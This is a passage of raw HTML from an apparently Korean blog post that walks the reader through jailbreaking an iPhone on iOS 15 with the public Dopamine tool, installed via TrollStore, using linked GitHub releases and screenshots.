&lt;td style=&quot;width: 33.3333%;&quot;&gt;&lt;b&gt; A14:&lt;/b&gt;&lt;br /&gt;iPhone&amp;nbsp;12&amp;nbsp;mini&lt;br /&gt;iPhone&amp;nbsp;12&lt;br /&gt;iPhone&amp;nbsp;12&amp;nbsp;Pro&lt;br /&gt;iPhone&amp;nbsp;12&amp;nbsp;Pro&amp;nbsp;Max&lt;br /&gt;&lt;br /&gt;iPad&amp;nbsp;Air&amp;nbsp;(4th)&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&lt;b&gt; A15:&lt;/b&gt;&lt;br /&gt;iPhone:&lt;br /&gt;iPhone&amp;nbsp;13&amp;nbsp;mini&lt;br /&gt;iPhone&amp;nbsp;13&lt;br /&gt;iPhone&amp;nbsp;13&amp;nbsp;Pro&lt;br /&gt;iPhone&amp;nbsp;13&amp;nbsp;Pro&amp;nbsp;Max&lt;br /&gt;iPad:&lt;br /&gt;iPad&amp;nbsp;mini&amp;nbsp;(6th)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&lt;b&gt; M1:&lt;/b&gt;&lt;br /&gt;iPad&amp;nbsp;Pro&amp;nbsp;11&amp;nbsp;(3rd)&lt;br /&gt;iPad Pro 12.9 (5th)&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;figure data-ke-type=&quot;image&quot; data-ke-style=&quot;alignCenter&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ellekit.space/dopamine/&quot;&gt;https://ellekit.space/dopamine/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1699001306735&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Dopamine&quot; data-og-description=&quot;arm64e Jailbreak for iOS 15.0-15.4.1&quot; data-og-host=&quot;ellekit.space&quot; data-og-source-url=&quot;https://ellekit.space/dopamine/&quot; data-og-url=&quot;https://ellekit.space/dopamine&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/OwQiT/hyUnIKWEsb/Kk8rIgqvrfg5DDBjXw0Mg0/img.png?width=660&amp;amp;height=660&amp;amp;face=0_0_660_660,https://scrap.kakaocdn.net/dn/MfHJZ/hyUnQoIpOx/YBq3t8HqLHeOqkH9sIHjf1/img.png?width=1600&amp;amp;height=3000&amp;amp;face=0_0_1600_3000,https://scrap.kakaocdn.net/dn/cxglJJ/hyUnUxQP39/8yDpv5LmXwCpzr6kHwQCk1/img.png?width=460&amp;amp;height=460&amp;amp;face=0_0_460_460&quot;&gt;&lt;a href=&quot;https://ellekit.space/dopamine/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ellekit.space/dopamine/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/OwQiT/hyUnIKWEsb/Kk8rIgqvrfg5DDBjXw0Mg0/img.png?width=660&amp;amp;height=660&amp;amp;face=0_0_660_660,https://scrap.kakaocdn.net/dn/MfHJZ/hyUnQoIpOx/YBq3t8HqLHeOqkH9sIHjf1/img.png?width=1600&amp;amp;height=3000&amp;amp;face=0_0_1600_3000,https://scrap.kakaocdn.net/dn/cxglJJ/hyUnUxQP39/8yDpv5LmXwCpzr6kHwQCk1/img.png?width=460&amp;amp;height=460&amp;amp;face=0_0_460_460');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Dopamine&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;arm64e Jailbreak for iOS 15.0-15.4.1&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ellekit.space&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 설치를 위해서는 트롤스토어 설치가 우선 시 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/opa334/TrollStore/releases/tag/1.5.1&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/opa334/TrollStore/releases/tag/1.5.1&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1698988462328&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Release 1.5.1 &amp;middot; opa334/TrollStore&quot; data-og-description=&quot;Fix crash on uninstallation&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/opa334/TrollStore/releases/tag/1.5.1&quot; data-og-url=&quot;https://github.com/opa334/TrollStore/releases/tag/1.5.1&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/mHtwh/hyUnR2bD3p/uh4KKu0Voftg0WdReTkjn0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/opa334/TrollStore/releases/tag/1.5.1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/opa334/TrollStore/releases/tag/1.5.1&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/mHtwh/hyUnR2bD3p/uh4KKu0Voftg0WdReTkjn0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Release 1.5.1 &amp;middot; opa334/TrollStore&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Fix crash on uninstallation&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아이폰 Safari로 트롤스토어를 다운받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치하면 GTACarTracker가 생성 되는데 해당 앱으로 접속한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dKcH7m/btszGzgQdiw/QhIPfcppxbq6o9NYkgiOvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dKcH7m/btszGzgQdiw/QhIPfcppxbq6o9NYkgiOvK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (1).png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dKcH7m/btszGzgQdiw/QhIPfcppxbq6o9NYkgiOvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdKcH7m%2FbtszGzgQdiw%2FQhIPfcppxbq6o9NYkgiOvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blojoj/btszF3pak5l/hu3WZTKnAUGHhKmh8tYzb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blojoj/btszF3pak5l/hu3WZTKnAUGHhKmh8tYzb1/img.png&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50&quot; data-filename=&quot;1 (2).png&quot; style=&quot;width: 49.4186%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blojoj/btszF3pak5l/hu3WZTKnAUGHhKmh8tYzb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fblojoj%2FbtszF3pak5l%2Fhu3WZTKnAUGHhKmh8tYzb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속 시 Install TrollStore 버튼이 있어서 설치 시 TrollStore가 설치된다. 매우 쉽다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYY9Ok/btszFGHltL8/KOMEpflbYaYm0DAnZVdtFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYY9Ok/btszFGHltL8/KOMEpflbYaYm0DAnZVdtFk/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (4).png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYY9Ok/btszFGHltL8/KOMEpflbYaYm0DAnZVdtFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYY9Ok%2FbtszFGHltL8%2FKOMEpflbYaYm0DAnZVdtFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bl50Hp/btszKHEl93x/CGUzw3pKaJLzlziTeJt1R1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bl50Hp/btszKHEl93x/CGUzw3pKaJLzlziTeJt1R1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (5).png&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bl50Hp/btszKHEl93x/CGUzw3pKaJLzlziTeJt1R1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbl50Hp%2FbtszKHEl93x%2FCGUzw3pKaJLzlziTeJt1R1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 아래 경로로 최신 dopamine을 다운 받는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/opa334/Dopamine/releases/tag/1.1.10&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/opa334/Dopamine/releases/tag/1.1.10&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1698988696687&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Release 1.1.10 &amp;middot; opa334/Dopamine&quot; data-og-description=&quot;Fix an issue where on some devices launchd would get killed by jetsam during the initial userspace reboot, resulting in a kernel panic (1.1.3 regression) Fix an issue where under some super rare ci...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/opa334/Dopamine/releases/tag/1.1.10&quot; data-og-url=&quot;https://github.com/opa334/Dopamine/releases/tag/1.1.10&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dPRnrL/hyUnQoIvSz/5wDVHpMwR5C6JTa54Y7gf0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/opa334/Dopamine/releases/tag/1.1.10&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/opa334/Dopamine/releases/tag/1.1.10&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dPRnrL/hyUnQoIvSz/5wDVHpMwR5C6JTa54Y7gf0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Release 1.1.10 &amp;middot; opa334/Dopamine&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Fix an issue where on some devices launchd would get killed by jetsam during the initial userspace reboot, resulting in a kernel panic (1.1.3 regression) Fix an issue where under some super rare ci...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자의 경우 타 개발자가 기존 dopamine에서 Roothide 기능을 추가한 Roothide dopamine을 설치했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/RootHide/Dopamine-roothide/releases/tag/1.0.6&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/RootHide/Dopamine-roothide/releases/tag/1.0.6&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1698989796449&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Release 1.0.6 &amp;middot; RootHide/Dopamine-roothide&quot; data-og-description=&quot;1: Merge the latest code of dopamine 2: Improve performance and stability through improved jit activation timing this version contains many bug fixes and stability and performance improvements, eve...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/RootHide/Dopamine-roothide/releases/tag/1.0.6&quot; data-og-url=&quot;https://github.com/RootHide/Dopamine-roothide/releases/tag/1.0.6&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b3oz1z/hyUrymmZfK/zCUp4QdMXlx603pfetKgDK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/RootHide/Dopamine-roothide/releases/tag/1.0.6&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/RootHide/Dopamine-roothide/releases/tag/1.0.6&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b3oz1z/hyUrymmZfK/zCUp4QdMXlx603pfetKgDK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Release 1.0.6 &amp;middot; RootHide/Dopamine-roothide&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;1: Merge the latest code of dopamine 2: Improve performance and stability through improved jit activation timing this version contains many bug fixes and stability and performance improvements, eve...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UPuzY/btszHIdi7iE/uJZgMk96K8ruJZH86CUiYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UPuzY/btszHIdi7iE/uJZgMk96K8ruJZH86CUiYK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (6).png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UPuzY/btszHIdi7iE/uJZgMk96K8ruJZH86CUiYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUPuzY%2FbtszHIdi7iE%2FuJZgMk96K8ruJZH86CUiYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSYhOd/btszJKn6W3d/cZiPQbkG9iry58BMJFt2B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSYhOd/btszJKn6W3d/cZiPQbkG9iry58BMJFt2B0/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (7).png&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSYhOd/btszJKn6W3d/cZiPQbkG9iry58BMJFt2B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSYhOd%2FbtszJKn6W3d%2FcZiPQbkG9iry58BMJFt2B0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 후 내보내기를 통해 TrollStore로 해당 설치파일을 열어 Install&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clnjSB/btszH5zg2tt/QqHONP7D4kPoiIuoJSXHL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clnjSB/btszH5zg2tt/QqHONP7D4kPoiIuoJSXHL1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (9).png&quot; data-widthpercent=&quot;50&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clnjSB/btszH5zg2tt/QqHONP7D4kPoiIuoJSXHL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclnjSB%2FbtszH5zg2tt%2FQqHONP7D4kPoiIuoJSXHL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A3tIf/btszHr3X3mn/kp1ATUAUylpxllQd6nH3sk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A3tIf/btszHr3X3mn/kp1ATUAUylpxllQd6nH3sk/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (11).png&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A3tIf/btszHr3X3mn/kp1ATUAUylpxllQd6nH3sk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA3tIf%2FbtszHr3X3mn%2Fkp1ATUAUylpxllQd6nH3sk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치된 도파민 앱 접속 시 탈옥 버튼이 있는데 이것만 누르면 탈옥이 완료된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rptcZ/btszHHepnGJ/1aAgJkQfa4Ftez0RxMwQ6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rptcZ/btszHHepnGJ/1aAgJkQfa4Ftez0RxMwQ6K/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (12).png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rptcZ/btszHHepnGJ/1aAgJkQfa4Ftez0RxMwQ6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrptcZ%2FbtszHHepnGJ%2F1aAgJkQfa4Ftez0RxMwQ6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mQti6/btszDTtt8m0/MkT9QKcMK1Qchw4rKbZEpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mQti6/btszDTtt8m0/MkT9QKcMK1Qchw4rKbZEpK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (13).png&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mQti6/btszDTtt8m0/MkT9QKcMK1Qchw4rKbZEpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmQti6%2FbtszDTtt8m0%2FMkT9QKcMK1Qchw4rKbZEpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탈옥 중인 Dopamine 완료 시 아래와 같이 &quot;탈옥이 되었습니다&quot;라는 문구가 나오게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBHr2s/btszFHsKnNy/zwQHFj6krjaASN7CHqLfpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBHr2s/btszFHsKnNy/zwQHFj6krjaASN7CHqLfpK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (14).png&quot; style=&quot;width: 49.4186%; margin-right: 10px;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBHr2s/btszFHsKnNy/zwQHFj6krjaASN7CHqLfpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBHr2s%2FbtszFHsKnNy%2FzwQHFj6krjaASN7CHqLfpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xmf00/btszGC5ZHzy/dpaYz7eVBCxUa1E5x7z090/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xmf00/btszGC5ZHzy/dpaYz7eVBCxUa1E5x7z090/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;1334&quot; data-filename=&quot;1 (15).png&quot; style=&quot;width: 49.4186%;&quot; data-widthpercent=&quot;50&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xmf00/btszGC5ZHzy/dpaYz7eVBCxUa1E5x7z090/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxmf00%2FbtszGC5ZHzy%2FdpaYz7eVBCxUa1E5x7z090%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 Sileo와 RootHide가 설치되는데 이제 관련 트윅을 다운로드 받아 설치하면&amp;nbsp; 커스텀하여 아이폰 사용이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
